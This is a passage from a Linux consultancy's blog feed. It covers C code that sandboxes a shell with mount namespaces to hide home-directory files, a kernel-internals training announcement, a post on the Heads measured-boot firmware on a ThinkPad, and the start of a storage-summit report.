<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">become_orig</span><span class="p">(</span><span class="kt">uid_t</span> <span class="n">orig_uid</span><span class="p">,</span> <span class="kt">gid_t</span> <span class="n">orig_gid</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="n">orig_gid</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="n">orig_uid</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">setuid</span><span class="p">(</span><span class="n">orig_uid</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">setgid</span><span class="p">(</span><span class="n">orig_gid</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="finally">Finally</h2>
<p>After all, in <code>main()</code> everything comes together:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">new_argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">&#34;/bin/bash&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">        <span class="kt">uid_t</span> <span class="n">my_uid</span> <span class="o">=</span> <span class="nf">getuid</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="kt">gid_t</span> <span class="n">my_gid</span> <span class="o">=</span> <span class="nf">getgid</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">unshare</span><span class="p">(</span><span class="n">CLONE_NEWNS</span> <span class="o">|</span> <span class="n">CLONE_NEWUSER</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">become_uid0</span><span class="p">(</span><span class="n">my_uid</span><span class="p">,</span> <span class="n">my_gid</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">setup_mounts</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">unshare</span><span class="p">(</span><span class="n">CLONE_NEWUSER</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">become_orig</span><span class="p">(</span><span class="n">my_uid</span><span class="p">,</span> <span class="n">my_gid</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nf">execvp</span><span class="p">(</span><span class="n">new_argv</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">new_argv</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Here we&rsquo;re wrapping <code>/bin/bash</code>, where you can directly run the program as regular user. In the new shell you&rsquo;ll find your <code>.ssh</code> directory empty.
Download the complete program  <a href="https://sigma-star.at/blog/2023/03/sandbox-mountns/nodotssh.c">here</a>.</p>
<h2 id="another-example">Another Example</h2>
<p>Simply over mounting a directory to hide it is not always a perfect fit. Consider the more complicated case where you want to hide everything except one directory in your home directory.
For example, a download application shall not access files in <code>/home/user/</code> but <code>/home/user/Downloads/</code>.
Just mounting a <code>tmpfs</code> on <code>/home/user/</code> will hide everything.
The task can be accomplished by using the property that the current working directory holds a reference to the mount point and keeps it from vanishing.</p>
<h3 id="necessary-steps">Necessary steps</h3>
<ol>
<li>Change the current directory to <code>/home/user</code></li>
<li>Mount a <code>tmpfs</code> to <code>/home/user</code></li>
<li>Create <code>/home/user/Downloads</code> - this has to be an absolute path to target the new <code>tmpfs</code>!</li>
<li>Remount <code>/home/user</code> to read-only mode</li>
<li>Bind mount <code>Downloads</code> to <code>/home/user/Downloads</code>; it is crucial to use a relative path as source, as <code>mount()</code> will use our current working directory - therefore bind <code>Download</code> from the overmounted home directory.</li>
</ol>
<p>In code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">setup_mounts</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">curdir</span> <span class="o">=</span> <span class="nf">get_current_dir_name</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">homedir</span> <span class="o">=</span> <span class="nf">getenv</span><span class="p">(</span><span class="s">&#34;HOME&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">downloadsdir</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="n">homedir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;none&#34;</span><span class="p">,</span> <span class="s">&#34;/&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">MS_REC</span> <span class="o">|</span> <span class="n">MS_SLAVE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">asprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">downloadsdir</span><span class="p">,</span> <span class="s">&#34;%s/%s&#34;</span><span class="p">,</span> <span class="n">homedir</span><span class="p">,</span> <span class="s">&#34;Downloads&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">chdir</span><span class="p">(</span><span class="n">homedir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">homdir</span><span class="p">,</span> <span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">mkdir</span><span class="p">(</span><span class="n">downloadsdir</span><span class="p">,</span> <span class="mo">0700</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">homedir</span><span class="p">,</span> <span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">MS_REMOUNT</span> <span class="o">|</span> <span class="n">MS_RDONLY</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;Downloads&#34;</span><span class="p">,</span> <span class="n">downloadsdir</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">MS_BIND</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">downloadsdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">chdir</span><span class="p">(</span><span class="s">&#34;/&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">chdir</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">free</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="summary">Summary</h2>
<p>Namespace are not only useful to build containers, but they can also be utilized to restrict access. In this case we used mount namespaces to limit access to certain parts of the file system.
For more details on namespaces, see <a href="https://man7.org/linux/man-pages/man7/namespaces.7.html">namespaces(7)</a>.</p>
]]></content:encoded></item><item><title>Training: Kernel Internals for Linux Admins</title><link>https://sigma-star.at/blog/2022/12/linux-internals-training/</link><pubDate>Tue, 13 Dec 2022 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/12/linux-internals-training/</guid><description><![CDATA[<h1 id="training-kernel-internals-for-linux-admins">Training: Kernel Internals for Linux Admins</h1>
<p>It&rsquo;s our very pleasure to announce a new training that will take place in early 2023.</p>
<h2 id="overview">Overview</h2>
<p>Understanding certain kernel internals is not only useful for persons that intend developing kernel related software.
It helps also while analyzing the runtime behavior of Linux in several situations a system administrator might occur.
Even seasoned Linux admins can benefit from knowing where exactly to attach probes to or how to gather certain system statistics without excessive tooling.</p>]]></description><content:encoded><![CDATA[<h1 id="training-kernel-internals-for-linux-admins">Training: Kernel Internals for Linux Admins</h1>
<p>It&rsquo;s our very pleasure to announce a new training that will take place in early 2023.</p>
<h2 id="overview">Overview</h2>
<p>Understanding certain kernel internals is not only useful for persons that intend developing kernel related software.
It helps also while analyzing the runtime behavior of Linux in several situations a system administrator might occur.
Even seasoned Linux admins can benefit from knowing where exactly to attach probes to or how to gather certain system statistics without excessive tooling.</p>
<h3 id="agenda">Agenda</h3>
<ul>
<li>Overview of major subsystems in Linux and how they interact with each other.</li>
<li>Deep dive into storage, network, CPU scheduling, security and container subsystems.</li>
<li>Key kernel functions where attaching probes is fruitful when debugging issues.</li>
<li>Differences between kernel versions of major Linux distributions (Debian, Ubuntu, RHEL, SLES).</li>
<li>Deep dive into /proc, /sys and debugfs interfaces to understand how common tools work on Linux.</li>
<li>Introduction to kernel tracing using perf, ftrace, bpftrace and other tools.</li>
</ul>
<h3 id="training-procedure">Training procedure</h3>
<ul>
<li>Duration: 8 hours</li>
<li>Price: EUR 1.000,- per person.</li>
<li>Format: Remote; all presented material will be available to attendees after the session</li>
<li>Targeted dates: March 22nd 2023, March 23rd 2023, April 26th 2023, April 27th 2023</li>
</ul>
<p>Upon request the training is also available on site or at our training center in Innsbruck, Austria.
Please mail to <a href="mailto:office@sigma-star.at">office@sigma-star.at</a> for questions and registration.</p>
]]></content:encoded></item><item><title>Securely booting x86 using Heads</title><link>https://sigma-star.at/blog/2022/11/securely-booting-x86-heads/</link><pubDate>Thu, 10 Nov 2022 00:00:00 +0100</pubDate><author>Aaron Marcher</author><guid>https://sigma-star.at/blog/2022/11/securely-booting-x86-heads/</guid><description>&lt;h1 id="securely-booting-x86-using-heads">Securely booting x86 using Heads&lt;/h1>
&lt;p>Measures to protect firmware, bootloader and operating system from tampering
have a long history in embedded development (also Smartphones and Tablets). We have been
deploying such solutions for many different customers. However, our own development
machines, which are x86 most of the time, suffer
from very similar issues. Secureboot and similar solutions try to solve at least
some associated risks. Nonetheless, a complete chain of trust, including a trustable
root of trust, is nearly impossible on conventional x86 architecture.&lt;/p></description><content:encoded><![CDATA[<h1 id="securely-booting-x86-using-heads">Securely booting x86 using Heads</h1>
<p>Measures to protect firmware, bootloader and operating system from tampering
have a long history in embedded development (also Smartphones and Tablets). We have been
deploying such solutions for many different customers. However, our own development
machines, which are x86 most of the time, suffer
from very similar issues. Secureboot and similar solutions try to solve at least
some associated risks. Nonetheless, a complete chain of trust, including a trustable
root of trust, is nearly impossible on conventional x86 architecture.</p>
<p>This blog post introduces an alternative open-source firmware project,
addressing these weak points of x86 architecture with different measures.
It is the result of some research and experimentation at work with Heads
and Qubes OS.</p>
<h2 id="introducing-heads">Introducing Heads</h2>
<figure>
<img src="img/heads.jpg" loading="lazy" decoding="async" alt="Heads" width="1500" height="1000"></figure>
<p>Heads<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> was initially presented at &ldquo;Chaos Communication Congress 33c3 (2016/17)&rdquo;<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>,
without gaining lots of popularity the following years. In the meanwhile,
some (pretty well-known) vendors adopted heads into their mainboards and/or
laptops (e.g. Purism Librem<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> or NitroKey NitroPad<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>), which has boosted
Heads&rsquo; development tremendously.</p>
<p>Summarized, Heads implements a form of <em>measured boot</em>, where the root of trust
is moved into the write-protected SPI-flash and the chain of trust is coherent
until the operating system takes over. Tampering of firmware, bootloader or the
kernel is not impossible, however the user is immediately notified if such a
(potentially malicious) action was detected.</p>
<h3 id="what-about-tails">What about Tails?</h3>
<p><strong>Tails</strong> is often referred to in this context because it provides the opposite
advantages to Heads, however tries to solve similar architectural problems.</p>
<blockquote>
<p>The flip side of Tails.
Unlike Tails, which aims to be a stateless OS that leaves no trace on the
computer of its presence, Heads is intended for the case where you need to
store data and state on the computer. <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></p>
</blockquote>
<p>On one hand, Tails is a secure stateless operating system, leaving no
traces after shutdown. On the other hand, Heads provides the necessary
firmware to work with a stateful operating system, but verifies its
state on every boot (to prevent tampering).</p>
<h2 id="the-flaws-of-x86-bios-and-uefi">The flaws of x86 BIOS and UEFI</h2>
<p>Before starting to describe how Heads may increase the overall
firmware security of your x86 hardware, let&rsquo;s rethink and question
traditional BIOS and UEFI.</p>
<pre tabindex="0"><code>From: Linus Torvalds &lt;torvalds@osdl.org&gt;
Newsgroups: fa.linux.kernel
Message-ID: &lt;fa.K4M0mC9bP4Gr24fvdHc+zatz61M@ifi.uio.no&gt;
The problem with EFI is that it actually superficially
looks much better than the BIOS, but in practice it ends
up being one of those things where it has few real
advantages, and often just a lot of extra complexity
because of the &#34;new and improved&#34; interfaces that were
largely defined by a committee.
Not that I&#39;d ever claim that the BIOS is wonderful either.
Linus
</code></pre><p>Linus Torvalds brings up a valid point: Modern EFI implementations as well as
old BIOS consist of a lot of large, unauditable, complex code (even graphical
UI including web browser is common in today&rsquo;s firmwares).</p>
<p>Intel&rsquo;s edk2 tree (UEFI) would be open-source at core, however different
vendors have their own closed-source implementations. (Security) updates,
bugfixes, enhancements etc. are all on the behalf of the manufacturer -
and take their time to bubble down the firmware supply chains.</p>
<figure>
<img src="img/bios_supply_chains.png" loading="lazy" decoding="async" alt="BIOS supply chains" width="1314" height="646"></figure>
<p>Also, the signing keys for Secure Boot are in most cases in absolute
control of the vendor, which opens the possibility of leaks to third
parties.</p>
<h3 id="the-problem-with-intels-management-engine">The problem with Intel&rsquo;s Management Engine</h3>
<p>Additionally, lots of unverifiable code is in Intel&rsquo;s Management
Engine, a coprocessor which has access to almost all devices of a
platform (memory, network, peripherals). It was originally meant to be a
management tool for large organizations, but auditing its exact
function is impossible. Heads has included an awesome open source project
to disable most parts of this potentially dangerous hardware: ME Cleaner<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.
However, the Intel ME is a very complex topic which would exceed the boundaries
of this blog post. Read more about it here.<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup><sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup><sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></p>
<h3 id="exploiting-and-protecting-x86-firmware">Exploiting and protecting x86 firmware</h3>
<p>The state of firmware, bootloader, Kernel and operating system is unknown after
leaving alone a device for an undefined period (e.g. in a hotel room). That opens
a whole range of threats to the overall security of the device. Read more about
x86&rsquo;s state problems in a paper from Joanna Rutkowska.<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></p>
<p>Good historical examples for these kinds of attacks are:</p>
<ul>
<li>HackingTeam malware installed through UEFI (2015)<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></li>
<li>CIA backdoor exploited through UEFI (uncovered by WikiLeaks, 2017)<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></li>
<li>Vulnerabilities like Thunderstrike (2014)<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></li>
<li>Exploits like LightEater (2015)<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
</ul>
<h3 id="attempts-of-protection">Attempts of protection</h3>
<p>Obviously, vendors and manufacturers tried to mitigate the risk of
such attacks.</p>
<ul>
<li>Intel: One attempt was Intel&rsquo;s Boot Guard/Verified Boot. However, it
silently fails upon mismatching signatures, which renders it completely useless.</li>
<li>Google: Google&rsquo;s attempt is vboot2 used on Chromebooks, which really addresses some of
the present issues. Unfortunately, it is too specialized and unflexible to support a broad
range of devices.</li>
<li>GNU GRUB: That&rsquo;s why GNU GRUB has been forked to Trusted GRUB, which has support for
TPM and signed kernels. The problem with it is, that it duplicates all device/
filesystem driver functionality from Linux kernel and thus becomes bloated too.
Additionally, the code is not professionally audited nor widely adopted or
tested.</li>
</ul>
<p>None of these solutions allow us to completely verify the chain of trust from
the hardware start to the Kernel / operating system boot without any major
flaws. That&rsquo;s when Heads comes into play.</p>
<h2 id="heads-the-little-brothersister-of-tails">Heads, the little brother/sister of Tails</h2>
<p>To improve some issues associated with x86 and its firmware flaws,
Heads makes use of well-audited, widely used open source projects.
It is based on the coreboot project<sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup> and the Linux kernel, plus a
few required libraries and utils. coreboot is an open source x86 firmware
with increasing board and Laptop support, only initializing the basic hardware
functions and then handing control to any custom payload.</p>
<h3 id="how-heads-works">How Heads works</h3>
<p>Heads moves the root of trust into the write-protected region of the SPI flash
and allows to completely verify the chain of trust until the measures of the
operating system take over. All signing keys are in total control of the user.
If all signatures match, the Linux kernel <code>kexec</code> syscall chain-loads the
operating system kernel. If anything went wrong, the user is instantly notified
and the system bootup process stops immediately. Using Linux as a bootloader,
the device drivers are shared among the bootloader and the kernel, which greatly
reduces the attack surface.</p>
<p>To verify the integrity of the firmware, the Trusted Platform Module (TPM), a
cryptographic coprocessor in modern mainboards, is used. It signs all parts of
the SPI flash: That means tampering is possible, but is noticed
on the next boot. The TPM also serves as a hardware key storage to decrypt the fully
encrypted operating system installed on the system&rsquo;s bootup disk.
However, at this point it is worth mentioning, that TPMs had various security flaws
in the past too: For example some Infinion TPMs<sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup> implemented a broken key generation
(RNG), or the communication between the TPM chip and the CPU was not secured by default
in old TPM versions<sup id="fnref:18"><a href="#fn:18" class="footnote-ref" role="doc-noteref">18</a></sup>.</p>
<p>Bootloader, hypervisor, kernel, ramdisk etc. are all signed by a user-controlled
key: The user&rsquo;s GPG public key is flashed into the firmware, so that signatures can
be verified on boot. Additionally, tampering of the firmware is detected by using
a time-based token (TOTP, verified on another device, e.g. Google Authenticator)
and a hardware token (HOTP, Nitrokey<sup id="fnref:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup>) with a boot counter.</p>
<h2 id="trying-out-heads-on-an-old-thinkpad">Trying out Heads on an old Thinkpad</h2>
<figure>
<img src="img/heads-meme.jpg" loading="lazy" decoding="async" alt="Heads meme" width="640" height="328"></figure>
<p>To evaluate and test Heads we used an old spare Lenovo ThinkPad T420, because it
offers good overall coreboot and Heads support.</p>
<p><strong>Please note:</strong> Warranty is void, no guarantee that anything works, proceed
at your own risk! That said, let&rsquo;s continue to the fun part. :-)</p>
<p>First, proceed with building Heads according to the official guide.<sup id="fnref:20"><a href="#fn:20" class="footnote-ref" role="doc-noteref">20</a></sup></p>
<p>We had to disassemble the whole laptop to access the BIOS SPI flash chip, as its
position is just below the magnesium frame under the keyboard. To ease future
access, I soldered some wires to the chip and managed to get them out at the
maintenance flap at the bottom of the laptop. However, you can also flash
only using a SOIC-8 clip if you trust your built image.</p>
<p>Then you can use a Raspberry Pi (or Bus Pirate or similar) to flash
the built image over the GPIO SPI interface.</p>
<figure>
<img src="img/spi-flash.jpg" loading="lazy" decoding="async" alt="SPI flash" width="1020" height="768"></figure>
<h3 id="show-me-what-you-got">Show me what you got</h3>
<p>If all went well, Heads initialization screen should show up on next boot.
First boot can take a few minutes because of Memory training - don&rsquo;t panic!</p>
<figure>
<img src="img/heads.jpg" loading="lazy" decoding="async" alt="Heads" width="1500" height="1000"></figure>
<p>Configure your Heads installation according to official documentation by
setting up GPG keys, TOTP or HOTP etc.<sup id="fnref:21"><a href="#fn:21" class="footnote-ref" role="doc-noteref">21</a></sup><sup id="fnref:22"><a href="#fn:22" class="footnote-ref" role="doc-noteref">22</a></sup></p>
<figure>
<img src="img/menu.jpg" loading="lazy" decoding="async" alt="Boot menu" width="1500" height="1000"></figure>
<p>After having passed GPG and TOTP/HOTP verifications, the full-disk-encryption
passphrase is asked for. Alternatively, the TPM passes it from the hardware
key store.</p>
<p>If all went well, the Linux kernel executes a kexec to jump into the Kernel of the
installed operating System - after having verified its integrity and signatures.</p>
<figure>
<img src="img/kexec.jpg" loading="lazy" decoding="async" alt="Kexec" width="1500" height="1000"></figure>
<p>In this case, Qubes OS comes up (which you should give a try btw, but that is
another blog post).</p>
<figure>
<img src="img/qubes.jpg" loading="lazy" decoding="async" alt="Qubes boot" width="1500" height="1000"></figure>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://osresearch.net/">https://osresearch.net/</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/osresearch/heads">https://github.com/osresearch/heads</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://trmm.net/Heads_33c3">https://trmm.net/Heads_33c3</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://puri.sm/">https://puri.sm/</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://nitrokey.com">https://nitrokey.com</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://osresearch.net">https://osresearch.net</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://github.com/corna/me_cleaner">https://github.com/corna/me_cleaner</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://osresearch.net/PDFs/Rootkit_in_your_laptop.pdf">https://osresearch.net/PDFs/Rootkit_in_your_laptop.pdf</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://osresearch.net/PDFs/Recon_2014_Skochinsky.pdf">https://osresearch.net/PDFs/Recon_2014_Skochinsky.pdf</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://osresearch.net/PDFs/x86_harmful.pdf">https://osresearch.net/PDFs/x86_harmful.pdf</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://osresearch.net/PDFs/state_harmful.pdf">https://osresearch.net/PDFs/state_harmful.pdf</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://www.pcworld.com/article/428561/hacking-teams-malware-uses-uefi-rootkit-to-survive-os-reinstalls.html">https://www.pcworld.com/article/428561/hacking-teams-malware-uses-uefi-rootkit-to-survive-os-reinstalls.html</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p><a href="https://www.pcworld.com/article/406190/wikileaks-documents-show-cias-mac-and-iphone-compromises.html">https://www.pcworld.com/article/406190/wikileaks-documents-show-cias-mac-and-iphone-compromises.html</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p><a href="https://trmm.net/Thunderstrike/">https://trmm.net/Thunderstrike/</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p><a href="https://www.theregister.com/2015/03/19/cansecwest_talk_bioses_hack/">https://www.theregister.com/2015/03/19/cansecwest_talk_bioses_hack/</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p><a href="https://coreboot.org/">https://coreboot.org/</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p><a href="https://www.schneier.com/blog/archives/2017/10/security_flaw_i_1.html">https://www.schneier.com/blog/archives/2017/10/security_flaw_i_1.html</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:18">
<p><a href="https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/">https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/</a>&#160;<a href="#fnref:18" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:19">
<p><a href="https://www.nitrokey.com/">https://www.nitrokey.com/</a>&#160;<a href="#fnref:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:20">
<p><a href="https://osresearch.net/general-building/">https://osresearch.net/general-building/</a>&#160;<a href="#fnref:20" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:21">
<p><a href="https://osresearch.net/Configuring-Keys/">https://osresearch.net/Configuring-Keys/</a>&#160;<a href="#fnref:21" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:22">
<p><a href="https://osresearch.net/InstallingOS/">https://osresearch.net/InstallingOS/</a>&#160;<a href="#fnref:22" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Alpine Linux Persistence and Storage Summit 2022</title><link>https://sigma-star.at/blog/2022/10/alpss-2022/</link><pubDate>Sun, 23 Oct 2022 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/10/alpss-2022/</guid><description><![CDATA[<h1 id="alpine-linux-persistence-and-storage-summit-2022">Alpine Linux Persistence and Storage Summit 2022</h1>
<p>In October 2022 the 5th <a href="https://alpss.at">Alpine Linux Persistence and Storage Summit (ALPSS)</a> was held.
The organizers Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger were proud to welcome a big and motivated bunch of the Linux Kernel Storage community from various nations around the world.
In old tradition the get-together took place at Lizumer Hütte (2019 m) in the Tuxer Alps.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="ALPSS 2022, perfect weather and the Lizummer Hütte" width="1600" height="1067"></figure>
<h2 id="day-1-its-all-about-hiking--and-food">Day 1: It&rsquo;s all about hiking – and food</h2>
<p>The main ingredients for a successful ALPSS: hot topics, Linux-focused brains, hiking and food. Or was it the other way round? However, we started with a pre-conference lunch. Afterwards we felt ready for the hike, starting at Lager Walchen in Wattental. With sweat and some photo-stops on the picturesque Zirbenweg we reached the Lizumer Hütte after some 2 hours. The lodge-keeper gave us a warm welcome and we switched back to where we started the day: food (plus some drinks).</p>]]></description><content:encoded><![CDATA[<h1 id="alpine-linux-persistence-and-storage-summit-2022">Alpine Linux Persistence and Storage Summit 2022</h1>
